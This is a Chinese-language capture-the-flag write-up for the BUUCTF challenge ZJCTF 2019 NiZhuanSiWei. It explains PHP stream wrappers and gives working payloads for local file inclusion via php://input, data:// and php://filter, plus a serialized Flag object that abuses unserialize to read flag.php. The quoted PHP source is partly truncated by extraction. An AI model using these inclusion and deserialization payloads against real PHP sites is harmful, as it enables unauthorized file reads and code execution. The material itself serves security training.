BUUCTF [ZJCTF 2019]NiZhuanSiWei

进去就是源码

 

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

当然第一步肯定是读源码,看看有什么信息可以利用

  1. 看到有include文件包含
  2. isset($text)函数用于检测变量是否已设置并且非NULL
  3. file_get_contents() 读取的返回值为 welcome to the zjctf

那我们就可以构造payload,这里有两种方法都是使用了php伪协议

第一种方法

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

那我们直接就可以构造payload,bp抓包

/?text=php://input

BUUCTF [ZJCTF 2019]NiZhuanSiWei_第1张图片

拥有回显,那么我们现在要访问 //useless.php读取其中数据

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

构造payload,这里要将请求改成POST请求

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

BUUCTF [ZJCTF 2019]NiZhuanSiWei_第2张图片

 解密base64加密

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

第二种方法

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

示例用法:data://text/plain,http://127.0.0.1/include.php?file=data://text/plain,

构造payload

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

BUUCTF [ZJCTF 2019]NiZhuanSiWei_第3张图片

分析 useless.php

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

我们将这个类序列化

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>

BUUCTF [ZJCTF 2019]NiZhuanSiWei_第4张图片

这时候我们看之前的源码,开始构造payload

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个

?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网页源代码就看见了flag

BUUCTF [ZJCTF 2019]NiZhuanSiWei_第5张图片

你可能感兴趣的:(CTF,php,linux,开发语言)